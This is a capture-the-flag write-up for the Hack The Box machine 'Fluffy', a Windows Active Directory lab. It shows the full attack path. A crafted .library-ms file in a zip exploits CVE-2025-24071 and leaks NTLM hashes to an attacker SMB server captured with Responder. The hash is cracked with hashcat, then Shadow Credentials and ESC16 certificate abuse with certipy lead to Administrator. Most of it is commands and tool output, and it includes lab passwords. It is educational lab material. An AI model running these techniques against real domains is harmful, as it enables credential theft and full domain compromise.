HTB | Fluffy
This is a Windows box, you can find it here
IP - 10.129.116.225
MACHINE INFORMATION - As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account: j.fleischman / J0elTHEM4n1990!
NMAP
└─$ nmap -sT -p- --min-rate 10000 10.129.116.225 -Pn -oA nmap_ports
Starting Nmap 7.95 ( <https://nmap.org> ) at 2025-05-25 13:09 IST
Nmap scan report for 10.129.116.225
Host is up (0.26s latency).
Not shown: 65518 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
3268/tcp open globalcatLDAP
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49677/tcp open unknown
49678/tcp open unknown
49680/tcp open unknown
49698/tcp open unknown
49713/tcp open unknown
49747/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 103.04 seconds└─$ nmap -sC -sV -p 53,88,139,389,445,464,593,3268,5985,9389,49667,49677,49678,49680,49698,49713,49747 10.129.116.225 -Pn -oA nmap_ports_details
Starting Nmap 7.95 ( <https://nmap.org> ) at 2025-05-25 13:12 IST
Nmap scan report for 10.129.116.225
Host is up (0.48s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-25 14:42:29Z)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-25T14:44:07+00:00; +7h00m03s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-25T14:44:07+00:00; +7h00m03s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49678/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
49713/tcp open msrpc Microsoft Windows RPC
49747/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-05-25T14:43:26
|_ start_date: N/A
|_clock-skew: mean: 7h00m02s, deviation: 0s, median: 7h00m02s
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 110.38 secondsLDAP
└─$ ldapsearch -x -H ldap://10.129.116.225 -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
namingcontexts: DC=fluffy,DC=htb
namingcontexts: CN=Configuration,DC=fluffy,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=fluffy,DC=htb
namingcontexts: DC=DomainDnsZones,DC=fluffy,DC=htb
namingcontexts: DC=ForestDnsZones,DC=fluffy,DC=htb
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1SMB
We have Read, Write on share IT
└─$ netexec smb 10.129.116.225 -u j.fleischman -p 'J0elTHEM4n1990!' --shares
SMB 10.129.116.225 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB 10.129.116.225 445 DC01 [+] fluffy.htb\\j.fleischman:J0elTHEM4n1990!
SMB 10.129.116.225 445 DC01 [*] Enumerated shares
SMB 10.129.116.225 445 DC01 Share Permissions Remark
SMB 10.129.116.225 445 DC01 ----- ----------- ------
SMB 10.129.116.225 445 DC01 ADMIN$ Remote Admin
SMB 10.129.116.225 445 DC01 C$ Default share
SMB 10.129.116.225 445 DC01 IPC$ READ Remote IPC
SMB 10.129.116.225 445 DC01 IT READ,WRITE
SMB 10.129.116.225 445 DC01 NETLOGON READ Logon server share
SMB 10.129.116.225 445 DC01 SYSVOL READ Logon server share Let’s login to smb share
└─$ smbclient -U 'j.fleischman%J0elTHEM4n1990!' //10.129.116.225/IT
Let’s download everything
smb: \\> mask ""
smb: \\> recurse on
smb: \\> prompt off
smb: \\> mget *Foothold/shell
CVE-2025-24071
the pd Upgrade_Notice.pdf contains the report of vulnerability scans
Let’s look at the critical CVE first
Found this repo for CVE-2025-24071
Technical Explanation of NTLM Hash Leak via RAR/ZIP Extraction and .library-ms File (CVE-2025-24071)
When a specially crafted .library-ms file containing an SMB path is compressed within a RAR/ZIP archive and subsequently extracted, Windows Explorer automatically parses the contents of this file due to its built-in indexing and preview mechanism. This behaviour occurs because Windows Explorer processes certain file types automatically upon extraction to generate previews, thumbnails, or index metadata, even if the file is never explicitly opened or clicked by the user.
The .library-ms file format is XML-based and is trusted by Windows Explorer to define search and library locations. Upon extraction, the indexing service and Explorer’s built-in file parsing mechanism immediately analyze the .library-ms file content to render appropriate icons, thumbnails, or metadata information.
The provided file contains a <simpleLocation> tag pointing directly to an attacker-controlled SMB server:
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="<http://schemas.microsoft.com/windows/2009/library>">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\\\192.168.1.116\\shared</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>Upon extraction, Windows Explorer attempts to resolve this SMB path (\\\\192.168.1.116\\shared) automatically to gather metadata and index file information. This action triggers an implicit NTLM authentication handshake from the victim's system to the attacker-controlled SMB server. Consequently, the victim's NTLMv2 hash is sent without explicit user interaction.
This vulnerability arises because Windows Explorer implicitly trusts .library-ms files and automatically processes certain file types immediately upon their extraction from archives. Attackers exploit this implicit trust and automatic file processing behaviour to leak credentials, which can then be utilized for pass-the-hash attacks or offline NTLM hash cracking.
Now, in order to exploit this, we need to run Responder.
sudo responder -I tun0Let's run the PoC
└─$ python3 poc.py
Enter your file name: anurag.zip
Enter IP (EX: 192.168.1.162): 10.10.16.15
completedAfter running the PoC we get an exploit.zip file.
┌──(anurag㉿anurag)-[~/htb/fluffy/CVE-2025-24071_PoC]
└─$ ls
README.md exploit.zip poc.pyLet's use SMB to upload this file onto the IT SMB share.
smb: \\> put exploit.zip After waiting for 1 minute, we get a connection back on our responder
Cracking this NTLM hash on hashcat.
└─$ hashcat hash.txt /home/anurag/stuff/rockyou.txt we got the password
GenericAll
Since we have valid cred we can use bloodhound
└─$ bloodhound-python -u p.agila -p '<PASSWORD>' -d fluffy.htb -ns 10.129.116.225 -c All --zipWe can see that P.AGILA → MemberOf → SERVERCE ACCOUNT MANAGERS → GenericAll → SERVICE ACCOUNT
This is also known as full control. This privilege allows the trustee to manipulate the target object however they wish.
Now we can either:
Reset
SERVICE ACCOUNTpassword (loud), ORAdd a Shadow Credential (quiet).
Shadow Credential
What is a Shadow Credentials Attack?
The Shadow Credentials attack is a stealthy method that allows an attacker to impersonate any user in Active Directory by silently adding a certificate-based authentication backdoor to their account — without changing their password or hash.
This method takes advantage of Key Trust-based certificate authentication in Active Directory environments that support PKINIT (Public Key Cryptography for Initial Authentication) and involves modifying a special attribute called msDS-KeyCredentialLink on the target user object.
Why we use Shadow Credential?
Reset password (loud)
Add certificate (quiet)
Triggers logs, breaks services
Leaves user untouched
High chance of detection
Very stealthy
Short-term access
Can provide persistent access
Shadow Credentials is often used to maintain persistence or escalate privileges without being detected.
How does it works?
Generate a key pair and certificate request
Inject the certificate’s public key into the
msDS-KeyCredentialLinkattribute of the target account in ADUse the private key (PFX) to authenticate as that user via Kerberos PKINIT
You are now authenticated as the victim user, with no password, no hash, and no alerts
Prerequisites for Shadow Credential Attack
To perform this attack, the following are required:
The target account must be a user account (not a computer)
The attacker must have permissions to write to the
msDS-KeyCredentialLinkattribute of the target (e.g.,GenericWrite,GenericAll,WriteProperty, etc.)The domain must support Key-based authentication (default in modern AD environments)
Shadow Credential Attack our My Case
In our scenario, we had control of the user P.AGILA.
Analyzing ACLs via BloodHound revealed:
P.AGILA → MemberOf → SERVERCE ACCOUNT MANAGERS → GenericAll → SERVICE ACCOUNTP.AGILAis a member of a group with GenericAll rights over theSERVICE ACCOUNTuserSERVICE ACCOUNTis a normal user account (not a computer)GenericAll includes WriteProperty permission, which allows modification of the
msDS-KeyCredentialLinkattribute
But first we need to add p.aglia to the SERVICE ACCOUNT MANAGERS group
└─$ bloodyAD -u 'p.agila' -p '<PASSWORD>' --dc-ip 10.129.116.225 add groupMember 'Service Accounts' 'p.agila'
[+] p.agila added to Service AccountsNow let's try and do a Shadow Credential attack against winrm_svc (since winrm_svc is a member of REMOTE MANAGEMENT USERS)
└─$ certipy shadow auto -account 'winrm_svc' -u 'p.agila@fluffy.htb' -p '<PASSWORD>' -dc-ip 10.129.116.225
Now we have a hash for winrm_svc
Let's try winrm with this hash.
we are in and got the user.txt
Privilege Escalation
ESC16
On running certipy with -vulnerable we didn’t find any vulnerability but Under the "Certificate Authorities" section for the target CA, we can see the OID 1.3.6.1.4.1.311.25.2 in the Disabled Extensions list. For more reference refer this
└─$ certipy find -u 'p.agila' -p 'prometheusx-303' -target 10.129.247.178 -text -stdout -vulnerable
Steps to exploit:
Change the victim account's UPN to match a target privileged(administrator in our case) account's
sAMAccountName.Request a certificate (which will automatically lack the SID security extension due to the CA's ESC16 configuration).
Revert the UPN change.
Use the certificate to impersonate the target.
Let’s start the exploit
Before we start we need to obtain credentials for the ca_svc account (via Shadow Credentials).
└─$ certipy shadow auto -account 'ca_svc' -u 'p.agila@fluffy.htb' -p prometheusx-303 -target fluffy.htb
Let’s first try to read initial UPN of the victim account
└─$ certipy account -username 'p.agila@fluffy.htb' -p '<PASSWORD>' -user 'ca_svc' read -dc-ip 10.129.241.24
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Reading attributes for 'ca_svc':
cn : certificate authority service
distinguishedName : CN=certificate authority service,CN=Users,DC=fluffy,DC=htb
name : certificate authority service
objectSid : S-1-5-21-497550768-2797716248-2627064577-1103
sAMAccountName : ca_svc
servicePrincipalName : ADCS/ca.fluffy.htb
userPrincipalName : ca_svc@fluffy.htb
userAccountControl : 66048
whenCreated : 2025-04-17T16:07:50+00:00
whenChanged : 2025-05-21T22:24:00+00:00
Since we can now read ca_svc now we have to modify ca_svc's upn to be Administrator.
└─$ certipy account -username 'p.agila@fluffy.htb' -p '<PASSWORD>' -user 'ca_svc' -upn 'administrator' update -dc-ip 10.129.241.24
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
userPrincipalName : administrator
[*] Successfully updated 'ca_svc'Next we can request the certificate using the vulnerable User template.
└─$ certipy -debug req -username 'ca_svc' -hashes <HASH> -dc-ip 10.129.245.229 -target dc01.fluffy.htb -ca 'FLUFFY-DC01-CA' -template 'User'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[+] Nameserver: '10.129.245.229'
[+] DC IP: '10.129.245.229'
[+] DC Host: None
[+] Target IP: None
[+] Remote Name: 'dc01.fluffy.htb'
[+] Domain: ''
[+] Username: 'CA_SVC'
[+] Trying to resolve 'dc01.fluffy.htb' at '10.129.245.229'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.129.245.229[\\pipe\\cert]
[+] Connected to endpoint: ncacn_np:10.129.245.229[\\pipe\\cert]
[*] Request ID is 17
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[+] Attempting to write data to 'administrator.pfx'
[+] Data written to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
Now let's give ca_svc its original UPN back.
└─$ certipy account -username 'p.agila@fluffy.htb' -p '<PASSWORD>' -user 'ca_svc' -upn 'ca_svc' update -dc-ip 10.129.245.229
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
userPrincipalName : ca_svc
[*] Successfully updated 'ca_svc'
And let's authenticate with the pfx certificate we just grabbed.
└─$ certipy auth -pfx administrator.pfx -dc-ip 10.129.245.229 -username 'administrator' -domain fluffy.htb
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator'
[*] Using principal: 'administrator@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fluffy.htb': <HASH>We can winrm via the hash and get the root.txt
Last updated